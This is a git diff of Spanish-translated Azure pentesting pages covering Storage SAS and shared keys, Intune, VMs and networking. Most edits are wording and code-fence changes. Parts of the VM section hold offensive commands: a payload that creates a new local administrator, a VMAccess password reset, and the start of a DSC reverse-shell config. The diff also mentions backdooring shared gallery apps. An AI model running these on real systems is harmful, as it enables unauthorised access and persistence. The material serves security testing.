> Esto es **utilizado por defecto por `az` cli** para autenticar solicitudes. Para hacer que use las credenciales del principal de Entra ID, indica el parámetro `--auth-mode login`.
- Es posible generar una **clave compartida para servicios de blobs, colas y archivos** firmando la siguiente información:
- Es posible generar una **clave compartida para servicios de blob, cola y archivo** firmando la siguiente información:
```bash
StringToSign = VERB + "\n" +
Content-Encoding + "\n" +
@@ -116,7 +116,7 @@ Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
```
- Es posible generar una **clave compartida lite para los servicios de blob, cola y archivo** firmando la siguiente información:
- Es posible generar una **clave compartida ligera para los servicios de blob, cola y archivo** firmando la siguiente información:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -125,7 +125,7 @@ Date + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- Es posible generar una **clave compartida ligera para los servicios de tabla** firmando la siguiente información:
- Es posible generar una **lite shared key for table services** firmando la siguiente información:
```bash
StringToSign = Date + "\n"
CanonicalizedResource
@@ -142,15 +142,15 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
Content-Length: 0
```
### **Firma de Acceso Compartido** (SAS)
### **Shared Access Signature** (SAS)
Las Firmas de Acceso Compartido (SAS) son URLs seguras y limitadas en el tiempo que **otorgan permisos específicos para acceder a recursos** en una cuenta de Azure Storage sin exponer las claves de acceso de la cuenta. Mientras que las claves de acceso proporcionan acceso administrativo completo a todos los recursos, SAS permite un control granular al especificar permisos (como lectura o escritura) y definir un tiempo de expiración.
#### Tipos de SAS
- **SAS de delegación de usuario**: Esta se crea a partir de un **principal de Entra ID** que firmará la SAS y delegará los permisos del usuario a la SAS. Solo se puede usar con **blob y almacenamiento de data lake** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Es posible **revocar** todas las SAS delegadas generadas por el usuario.
- Aunque es posible generar una SAS de delegación con "más" permisos de los que tiene el usuario. Sin embargo, si el principal no los tiene, no funcionará (sin privesc).
- **SAS de servicio**: Esta se firma utilizando una de las **claves de acceso** de la cuenta de almacenamiento. Se puede usar para otorgar acceso a recursos específicos en un solo servicio de almacenamiento. Si la clave se renueva, la SAS dejará de funcionar.
- **SAS de delegación de usuario**: Esto se crea a partir de un **principal de Entra ID** que firmará el SAS y delegará los permisos del usuario al SAS. Solo se puede usar con **blob y almacenamiento de data lake** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Es posible **revocar** todos los SAS delegados generados por el usuario.
- Aunque es posible generar un SAS de delegación con "más" permisos de los que tiene el usuario. Sin embargo, si el principal no los tiene, no funcionará (sin privesc).
- **SAS de servicio**: Esto se firma utilizando una de las **claves de acceso** de la cuenta de almacenamiento. Se puede usar para otorgar acceso a recursos específicos en un solo servicio de almacenamiento. Si la clave se renueva, el SAS dejará de funcionar.
- **SAS de cuenta**: También se firma con una de las **claves de acceso** de la cuenta de almacenamiento. Otorga acceso a recursos a través de los servicios de la cuenta de almacenamiento (Blob, Queue, Table, File) y puede incluir operaciones a nivel de servicio.
Una URL SAS firmada por una **clave de acceso** se ve así:
@@ -163,19 +163,19 @@ Una URL SAS firmada como **delegación de usuario** se ve así:
Nota algunos **parámetros http**:
- El parámetro **`se`** indica la **fecha de expiración** de la SAS
- El parámetro **`sp`** indica los **permisos** de la SAS
- La **`sig`** es la **firma** que valida la SAS
- El parámetro **`se`** indica la **fecha de expiración** del SAS
- El parámetro **`sp`** indica los **permisos** del SAS
- El **`sig`** es la **firma** que valida el SAS
#### Permisos de SAS
#### Permisos SAS
Al generar una SAS, es necesario indicar los permisos que debería otorgar. Dependiendo del objeto sobre el que se genera la SAS, se pueden incluir diferentes permisos. Por ejemplo:
Al generar un SAS, es necesario indicar los permisos que debe otorgar. Dependiendo del objeto sobre el cual se está generando el SAS, se pueden incluir diferentes permisos. Por ejemplo:
- (a)dd, (c)rear, (d)eliminar, (e)jecutar, (f)iltrar_por_etiquetas, (i)nstaurar_política_de_inmutabilidad, (l)istar, (m)over, (r)ead, (t)ag, (w)rite, (x)eliminar_versión_anterior, (y)eliminar_permanentemente
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
## Soporte SFTP para Azure Blob Storage
Azure Blob Storage ahora soporta el Protocolo de Transferencia de Archivos SSH (SFTP), permitiendo la transferencia y gestión segura de archivos directamente a Blob Storage sin requerir soluciones personalizadas o productos de terceros.
Azure Blob Storage ahora admite el Protocolo de Transferencia de Archivos SSH (SFTP), lo que permite la transferencia y gestión segura de archivos directamente a Blob Storage sin requerir soluciones personalizadas o productos de terceros.
### Características Clave
@@ -184,7 +184,7 @@ Azure Blob Storage ahora soporta el Protocolo de Transferencia de Archivos SSH (
- Contraseñas generadas por Azure
- Pares de claves SSH públicas y privadas
- Permisos Granulares: Se pueden asignar permisos como Leer, Escribir, Eliminar y Listar a usuarios locales para hasta 100 contenedores.
- Consideraciones de Red: Las conexiones SFTP se realizan a través del puerto 22. Azure soporta configuraciones de red como firewalls, puntos finales privados o redes virtuales para asegurar el tráfico SFTP.
- Consideraciones de Red: Las conexiones SFTP se realizan a través del puerto 22. Azure admite configuraciones de red como firewalls, puntos finales privados o redes virtuales para asegurar el tráfico SFTP.
### Requisitos de Configuración
@@ -330,7 +330,7 @@ az storage account local-user list \
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account

8
src/pentesting-cloud/azure-security/az-services/az-table-storage.md
View File

@@ -12,17 +12,17 @@ No **hay un mecanismo de respaldo incorporado** para el almacenamiento de tablas
#### **PartitionKey**
- La **PartitionKey agrupa entidades en particiones lógicas**. Las entidades con la misma PartitionKey se almacenan juntas, lo que mejora el rendimiento de las consultas y la escalabilidad.
- El **PartitionKey agrupa entidades en particiones lógicas**. Las entidades con el mismo PartitionKey se almacenan juntas, lo que mejora el rendimiento de las consultas y la escalabilidad.
- Ejemplo: En una tabla que almacena datos de empleados, `PartitionKey` podría representar un departamento, por ejemplo, `"HR"` o `"IT"`.
#### **RowKey**
- La **RowKey es el identificador único** para una entidad dentro de una partición. Cuando se combina con la PartitionKey, asegura que cada entidad en la tabla tenga un identificador único a nivel global.
- El **RowKey es el identificador único** para una entidad dentro de una partición. Cuando se combina con el PartitionKey, asegura que cada entidad en la tabla tenga un identificador único a nivel global.
- Ejemplo: Para la partición `"HR"`, `RowKey` podría ser un ID de empleado, por ejemplo, `"12345"`.
#### **Otras Propiedades (Propiedades Personalizadas)**
- Además de la PartitionKey y RowKey, una entidad puede tener **propiedades personalizadas adicionales para almacenar datos**. Estas son definidas por el usuario y actúan como columnas en una base de datos tradicional.
- Además del PartitionKey y RowKey, una entidad puede tener **propiedades personalizadas adicionales para almacenar datos**. Estas son definidas por el usuario y actúan como columnas en una base de datos tradicional.
- Las propiedades se almacenan como **pares clave-valor**.
- Ejemplo: `Name`, `Age`, `Title` podrían ser propiedades personalizadas para un empleado.
@@ -63,7 +63,7 @@ az storage entity merge \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount

4
src/pentesting-cloud/azure-security/az-services/intune.md
View File

@@ -8,9 +8,9 @@ Microsoft Intune está diseñado para simplificar el proceso de **gestión de ap
## Nube -> Local
Un usuario con rol de **Administrador Global** o **Administrador de Intune** puede ejecutar **scripts de PowerShell** en cualquier dispositivo **Windows** inscrito.\
Un usuario con rol de **Administrador Global** o **Administrador de Intune** puede ejecutar **scripts de PowerShell** en cualquier **dispositivo Windows** inscrito.\
El **script** se ejecuta con **privilegios** de **SYSTEM** en el dispositivo solo una vez si no cambia, y desde Intune **no es posible ver la salida** del script.
```powershell
```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
1. Inicie sesión en [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) o use Pass-The-PRT

26
src/pentesting-cloud/azure-security/az-services/vms/README.md
View File

@@ -19,7 +19,7 @@ Las Máquinas Virtuales (VMs) de Azure son servidores **basados en la nube flexi
- **Zonas de Disponibilidad**: Las zonas de disponibilidad son grupos distintos de centros de datos dentro de una región específica de Azure que están físicamente separados para minimizar el riesgo de que múltiples zonas se vean afectadas por cortes locales o desastres.
- **Tipo de Seguridad**:
- **Seguridad Estándar**: Este es el tipo de seguridad predeterminado que no requiere ninguna configuración específica.
- **Lanzamiento Confiable**: Este tipo de seguridad mejora la protección contra kits de arranque y malware a nivel de kernel utilizando Secure Boot y Módulo de Plataforma de Confianza Virtual (vTPM).
- **Lanzamiento Confiable**: Este tipo de seguridad mejora la protección contra kits de arranque y malware a nivel de kernel utilizando Secure Boot y Módulo de Plataforma Confiable Virtual (vTPM).
- **VMs Confidenciales**: Además de un lanzamiento confiable, ofrece aislamiento basado en hardware entre la VM, el hipervisor y la gestión del host, mejora la encriptación del disco y [**más**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Autenticación**: Por defecto, se genera una nueva **clave SSH**, aunque es posible usar una clave pública o usar una clave anterior y el nombre de usuario por defecto es **azureuser**. También es posible configurar el uso de una **contraseña.**
- **Encriptación de disco de VM:** El disco está encriptado en reposo por defecto utilizando una clave gestionada por la plataforma.
@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List all disks
Get-AzDisk
@@ -76,10 +76,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Imágenes, Imágenes de Galería y Puntos de Restauración
Una **imagen de VM** es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el sistema de archivos necesarios para **crear una nueva máquina virtual (VM)**. La diferencia entre una imagen y un instantáneo de disco es que un instantáneo de disco es una copia de solo lectura, en un momento dado, de un solo disco administrado, utilizado principalmente para copias de seguridad o solución de problemas, mientras que una imagen puede contener **múltiples discos y está diseñada para servir como una plantilla para crear nuevas VMs**.\
Una **imagen de VM** es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el sistema de archivos necesarios para **crear una nueva máquina virtual (VM)**. La diferencia entre una imagen y un instantáneo de disco es que un instantáneo de disco es una copia de solo lectura, en un momento dado, de un solo disco administrado, utilizado principalmente para copias de seguridad o solución de problemas, mientras que una imagen puede contener **múltiples discos y está diseñada para servir como plantilla para crear nuevas VMs**.\
Las imágenes se pueden gestionar en la **sección de Imágenes** de Azure o dentro de **galerías de computación de Azure**, lo que permite generar **versiones** y **compartir** la imagen entre inquilinos o incluso hacerla pública.
Un **punto de restauración** almacena la configuración de la VM y **instantáneas consistentes en el tiempo** de **todos los discos administrados** adjuntos a la VM. Está relacionado con la VM y su propósito es poder restaurar esa VM a cómo estaba en ese punto específico en el tiempo.
Un **punto de restauración** almacena la configuración de la VM y **instantáneas consistentes en el tiempo** de todas las **discos administrados** adjuntos a la VM. Está relacionado con la VM y su propósito es poder restaurar esa VM a cómo estaba en ese punto específico en el tiempo.
{{#tabs}}
{{#tab name="az cli"}}
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
@@ -180,7 +180,7 @@ az network bastion rdp \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List bastions
Get-AzBastion
```
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
az vm run-command list --output table
```
```powershell
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
@@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
@@ -523,7 +523,7 @@ az vm extension set \
También podrías ejecutar otras cargas útiles como: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Restablecer la contraseña usando la extensión VMAccess
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -540,7 +540,7 @@ El permiso requerido sigue siendo **`Microsoft.Compute/virtualMachines/extension
<summary>Extensión VMAccess</summary>
Esta extensión permite modificar la contraseña (o crearla si no existe) de los usuarios dentro de las VMs de Windows.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
Esta es una **extensión de VM** que pertenece a Microsoft y que utiliza PowerShell DSC para gestionar la configuración de las VMs de Windows en Azure. Por lo tanto, se puede utilizar para **ejecutar comandos arbitrarios** en las VMs de Windows a través de esta extensión:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -617,7 +617,7 @@ az sig list --resource-group <res-group> --output table
# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
```
Estos son los caminos donde se descargan las aplicaciones dentro del sistema de archivos:
Estos son los caminos donde las aplicaciones se descargan dentro del sistema de archivos:
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
@@ -625,7 +625,7 @@ Estos son los caminos donde se descargan las aplicaciones dentro del sistema de
Consulta cómo instalar nuevas aplicaciones en [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> Es posible **compartir aplicaciones individuales y galerías con otras suscripciones o inquilinos**. Lo cual es muy interesante porque podría permitir a un atacante crear una puerta trasera en una aplicación y pivotar a otras suscripciones e inquilinos.
> Es posible **compartir aplicaciones individuales y galerías con otras suscripciones o inquilinos**. Lo cual es muy interesante porque podría permitir a un atacante insertar un backdoor en una aplicación y pivotar a otras suscripciones e inquilinos.
Pero **no hay un "mercado" para aplicaciones de vm** como lo hay para extensiones.

72
src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
View File

@@ -4,14 +4,14 @@
## Información Básica
Azure proporciona **redes virtuales (VNet)** que permiten a los usuarios crear **redes** **aisladas** dentro de la nube de Azure. Dentro de estas VNets, recursos como máquinas virtuales, aplicaciones, bases de datos... pueden ser alojados y gestionados de forma segura. La red en Azure soporta tanto la comunicación dentro de la nube (entre servicios de Azure) como la conexión a redes externas y a internet.\
Azure proporciona **redes virtuales (VNet)** que permiten a los usuarios crear **redes aisladas** dentro de la nube de Azure. Dentro de estas VNets, se pueden alojar y gestionar de forma segura recursos como máquinas virtuales, aplicaciones, bases de datos... La red en Azure admite tanto la comunicación dentro de la nube (entre servicios de Azure) como la conexión a redes externas e internet.\
Además, es posible **conectar** VNets con otras VNets y con redes locales.
## Red Virtual (VNET) y Subredes
Una Red Virtual de Azure (VNet) es una representación de tu propia red en la nube, proporcionando **aislamiento lógico** dentro del entorno de Azure dedicado a tu suscripción. Las VNets te permiten aprovisionar y gestionar redes privadas virtuales (VPNs) en Azure, alojando recursos como Máquinas Virtuales (VMs), bases de datos y servicios de aplicaciones. Ofrecen **control total sobre la configuración de la red**, incluyendo rangos de direcciones IP, creación de subredes, tablas de rutas y puertas de enlace de red.
Una Red Virtual de Azure (VNet) es una representación de tu propia red en la nube, proporcionando **aislamiento lógico** dentro del entorno de Azure dedicado a tu suscripción. Las VNets te permiten aprovisionar y gestionar redes privadas virtuales (VPN) en Azure, alojando recursos como Máquinas Virtuales (VM), bases de datos y servicios de aplicaciones. Ofrecen **control total sobre la configuración de la red**, incluyendo rangos de direcciones IP, creación de subredes, tablas de rutas y puertas de enlace de red.
**Subredes** son subdivisiones dentro de una VNet, definidas por rangos de **direcciones IP** específicos. Al segmentar una VNet en múltiples subredes, puedes organizar y asegurar recursos de acuerdo a tu arquitectura de red.\
**Subredes** son subdivisiones dentro de una VNet, definidas por rangos de **direcciones IP** específicos. Al segmentar una VNet en múltiples subredes, puedes organizar y asegurar recursos de acuerdo con tu arquitectura de red.\
Por defecto, todas las subredes dentro de la misma Red Virtual de Azure (VNet) **pueden comunicarse entre sí** sin ninguna restricción.
**Ejemplo:**
@@ -22,7 +22,7 @@ Por defecto, todas las subredes dentro de la misma Red Virtual de Azure (VNet) *
### Enumeración
Para listar todas las VNets y subredes en una cuenta de Azure, puedes usar la Interfaz de Línea de Comando de Azure (CLI). Aquí están los pasos:
Para listar todas las VNets y subredes en una cuenta de Azure, puedes usar la Interfaz de Línea de Comandos de Azure (CLI). Aquí están los pasos:
{{#tabs }}
{{#tab name="az cli" }}
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -49,7 +49,7 @@ Select-Object Name, AddressPrefix
## Grupos de Seguridad de Red (NSG)
Un **Grupo de Seguridad de Red (NSG)** filtra el tráfico de red tanto hacia como desde los recursos de Azure dentro de una Red Virtual de Azure (VNet). Contiene un conjunto de **reglas de seguridad** que pueden indicar **qué puertos abrir para el tráfico entrante y saliente** según el puerto de origen, IP de origen, destino del puerto y es posible asignar una prioridad (cuanto menor sea el número de prioridad, mayor será la prioridad).
Un **Grupo de Seguridad de Red (NSG)** filtra el tráfico de red tanto hacia como desde los recursos de Azure dentro de una Red Virtual de Azure (VNet). Contiene un conjunto de **reglas de seguridad** que pueden indicar **qué puertos abrir para el tráfico entrante y saliente** según el puerto de origen, la IP de origen, el puerto de destino y es posible asignar una prioridad (cuanto menor sea el número de prioridad, mayor será la prioridad).
Los NSGs pueden asociarse a **subredes y NICs.**
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Firewalls
Get-AzFirewall
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Route Tables
Get-AzRouteTable
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -205,13 +205,13 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
{{#endtab }}
{{#endtabs }}
## Puntos de Conexión de Servicio de Azure
## Puntos de Conexión de Servicios de Azure
Los Puntos de Conexión de Servicio de Azure extienden el espacio de direcciones privadas de su red virtual y la identidad de su VNet a los servicios de Azure a través de una conexión directa. Al habilitar los puntos de conexión de servicio, **los recursos en su VNet pueden conectarse de manera segura a los servicios de Azure**, como Azure Storage y Azure SQL Database, utilizando la red troncal de Azure. Esto asegura que el **tráfico de la VNet al servicio de Azure permanezca dentro de la red de Azure**, proporcionando un camino más seguro y confiable.
Los Puntos de Conexión de Servicios de Azure extienden el espacio de direcciones privadas de su red virtual y la identidad de su VNet a los servicios de Azure a través de una conexión directa. Al habilitar los puntos de conexión de servicio, **los recursos en su VNet pueden conectarse de manera segura a los servicios de Azure**, como Azure Storage y Azure SQL Database, utilizando la red troncal de Azure. Esto asegura que el **tráfico de la VNet al servicio de Azure permanezca dentro de la red de Azure**, proporcionando un camino más seguro y confiable.
**Ejemplo:**
Por ejemplo, una cuenta de **Azure Storage** por defecto es accesible a través de internet público. Al habilitar un **punto de conexión de servicio para Azure Storage dentro de su VNet**, puede asegurarse de que solo el tráfico de su VNet pueda acceder a la cuenta de almacenamiento. El firewall de la cuenta de almacenamiento puede configurarse para aceptar tráfico solo de su VNet.
Por ejemplo, una **cuenta de Azure Storage** por defecto es accesible a través de internet público. Al habilitar un **punto de conexión de servicio para Azure Storage dentro de su VNet**, puede asegurarse de que solo el tráfico de su VNet pueda acceder a la cuenta de almacenamiento. El firewall de la cuenta de almacenamiento puede configurarse para aceptar tráfico solo de su VNet.
### **Enumeración**
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork
@@ -236,33 +236,33 @@ Get-AzVirtualNetwork
{{#endtab }}
{{#endtabs }}
### Diferencias entre Puntos de Servicio y Enlaces Privados
### Diferencias entre Service Endpoints y Private Links
Microsoft recomienda usar Enlaces Privados en la [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
Microsoft recomienda usar Private Links en la [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
**Puntos de Servicio:**
**Service Endpoints:**
- El tráfico de tu VNet al servicio de Azure viaja a través de la red troncal de Microsoft Azure, evitando internet público.
- El punto de conexión es una conexión directa al servicio de Azure y no proporciona una IP privada para el servicio dentro de la VNet.
- El servicio en sí sigue siendo accesible a través de su punto de conexión público desde fuera de tu VNet, a menos que configures el firewall del servicio para bloquear dicho tráfico.
- El tráfico de tu VNet al servicio de Azure viaja a través de la red troncal de Microsoft Azure, evitando el internet público.
- El endpoint es una conexión directa al servicio de Azure y no proporciona una IP privada para el servicio dentro de la VNet.
- El servicio en sí sigue siendo accesible a través de su endpoint público desde fuera de tu VNet, a menos que configures el firewall del servicio para bloquear dicho tráfico.
- Es una relación uno a uno entre la subred y el servicio de Azure.
- Menos costoso que los Enlaces Privados.
- Menos costoso que Private Links.
**Enlaces Privados:**
**Private Links:**
- El Enlace Privado mapea los servicios de Azure en tu VNet a través de un punto de conexión privado, que es una interfaz de red con una dirección IP privada dentro de tu VNet.
- Private Link mapea los servicios de Azure en tu VNet a través de un endpoint privado, que es una interfaz de red con una dirección IP privada dentro de tu VNet.
- El servicio de Azure se accede utilizando esta dirección IP privada, haciendo que parezca parte de tu red.
- Los servicios conectados a través del Enlace Privado solo pueden ser accedidos desde tu VNet o redes conectadas; no hay acceso a internet público al servicio.
- Los servicios conectados a través de Private Link solo pueden ser accedidos desde tu VNet o redes conectadas; no hay acceso público a internet al servicio.
- Permite una conexión segura a los servicios de Azure o a tus propios servicios alojados en Azure, así como una conexión a servicios compartidos por otros.
- Proporciona un control de acceso más granular a través de un punto de conexión privado en tu VNet, en lugar de un control de acceso más amplio a nivel de subred con puntos de servicio.
- Proporciona un control de acceso más granular a través de un endpoint privado en tu VNet, en lugar de un control de acceso más amplio a nivel de subred con service endpoints.
En resumen, aunque tanto los Puntos de Servicio como los Enlaces Privados proporcionan conectividad segura a los servicios de Azure, **los Enlaces Privados ofrecen un mayor nivel de aislamiento y seguridad al garantizar que los servicios se accedan de forma privada sin exponerlos a internet público**. Los Puntos de Servicio, por otro lado, son más fáciles de configurar para casos generales donde se requiere un acceso simple y seguro a los servicios de Azure sin necesidad de una IP privada en la VNet.
En resumen, aunque tanto Service Endpoints como Private Links proporcionan conectividad segura a los servicios de Azure, **Private Links ofrecen un mayor nivel de aislamiento y seguridad al garantizar que los servicios se accedan de forma privada sin exponerlos a internet público**. Los Service Endpoints, por otro lado, son más fáciles de configurar para casos generales donde se requiere un acceso simple y seguro a los servicios de Azure sin necesidad de una IP privada en la VNet.
## Azure Front Door (AFD) y AFD WAF
**Azure Front Door** es un punto de entrada escalable y seguro para la **rápida entrega** de tus aplicaciones web globales. **Combina** varios servicios como **balanceo de carga global, aceleración de sitios, descarga de SSL y capacidades de Firewall de Aplicaciones Web (WAF)** en un solo servicio. Azure Front Door proporciona enrutamiento inteligente basado en la **ubicación de borde más cercana al usuario**, asegurando un rendimiento y confiabilidad óptimos. Además, ofrece enrutamiento basado en URL, alojamiento de múltiples sitios, afinidad de sesión y seguridad a nivel de aplicación.
**Azure Front Door** es un punto de entrada escalable y seguro para la **rápida entrega** de tus aplicaciones web globales. **Combina** varios servicios como **balanceo de carga global, aceleración de sitios, descarga de SSL y capacidades de Web Application Firewall (WAF)** en un solo servicio. Azure Front Door proporciona enrutamiento inteligente basado en la **ubicación de borde más cercana al usuario**, asegurando un rendimiento y confiabilidad óptimos. Además, ofrece enrutamiento basado en URL, alojamiento de múltiples sitios, afinidad de sesión y seguridad a nivel de aplicación.
**Azure Front Door WAF** está diseñado para **proteger aplicaciones web de ataques basados en la web** sin modificar el código de backend. Incluye reglas personalizadas y conjuntos de reglas gestionadas para proteger contra amenazas como inyección SQL, scripting entre sitios y otros ataques comunes.
@@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Front Door Instances
Get-AzFrontDoor
@@ -295,7 +295,7 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
## Azure Application Gateway y Azure Application Gateway WAF
Azure Application Gateway es un **balanceador de carga de tráfico web** que te permite gestionar el tráfico hacia tus **aplicaciones** web. Ofrece **balanceo de carga de Capa 7, terminación de SSL y capacidades de firewall de aplicaciones web (WAF)** en el Controlador de Entrega de Aplicaciones (ADC) como servicio. Las características clave incluyen enrutamiento basado en URL, afinidad de sesión basada en cookies y descarga de capa de sockets seguros (SSL), que son cruciales para aplicaciones que requieren capacidades de balanceo de carga complejas como enrutamiento global y enrutamiento basado en rutas.
Azure Application Gateway es un **balanceador de carga de tráfico web** que te permite gestionar el tráfico hacia tus **aplicaciones web**. Ofrece **balanceo de carga de Capa 7, terminación SSL y capacidades de firewall de aplicaciones web (WAF)** en el Controlador de Entrega de Aplicaciones (ADC) como servicio. Las características clave incluyen enrutamiento basado en URL, afinidad de sesión basada en cookies y descarga de capa de sockets seguros (SSL), que son cruciales para aplicaciones que requieren capacidades de balanceo de carga complejas como enrutamiento global y enrutamiento basado en rutas.
**Ejemplo:**
@@ -312,7 +312,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
```
@@ -324,7 +324,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
**El Peering de VNet** es una característica de red en Azure que **permite que diferentes Redes Virtuales (VNets) se conecten de manera directa y sin problemas**. A través del peering de VNet, los recursos en una VNet pueden comunicarse con recursos en otra VNet utilizando direcciones IP privadas, **como si estuvieran en la misma red**.\
**El Peering de VNet también se puede usar con redes locales** configurando una VPN de sitio a sitio o Azure ExpressRoute.
**Azure Hub y Spoke** es una topología de red utilizada en Azure para gestionar y organizar el tráfico de red. **El "hub" es un punto central que controla y enruta el tráfico entre diferentes "spokes"**. El hub generalmente contiene servicios compartidos como dispositivos virtuales de red (NVAs), Azure VPN Gateway, Azure Firewall o Azure Bastion. Los **"spokes" son VNets que alojan cargas de trabajo y se conectan al hub utilizando peering de VNet**, lo que les permite aprovechar los servicios compartidos dentro del hub. Este modelo promueve una disposición de red limpia, reduciendo la complejidad al centralizar servicios comunes que múltiples cargas de trabajo en diferentes VNets pueden usar.
**Azure Hub y Spoke** es una topología de red utilizada en Azure para gestionar y organizar el tráfico de red. **El "hub" es un punto central que controla y enruta el tráfico entre diferentes "spokes"**. El hub generalmente contiene servicios compartidos como dispositivos virtuales de red (NVAs), Azure VPN Gateway, Azure Firewall o Azure Bastion. Los **"spokes" son VNets que alojan cargas de trabajo y se conectan al hub utilizando peering de VNet**, lo que les permite aprovechar los servicios compartidos dentro del hub. Este modelo promueve un diseño de red limpio, reduciendo la complejidad al centralizar servicios comunes que múltiples cargas de trabajo en diferentes VNets pueden usar.
> [!CAUTION] > **El emparejamiento de VNET no es transitivo en Azure**, lo que significa que si el spoke 1 está conectado al spoke 2 y el spoke 2 está conectado al spoke 3, entonces el spoke 1 no puede comunicarse directamente con el spoke 3.
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -363,7 +363,7 @@ Get-AzFirewall
## VPN de Sitio a Sitio
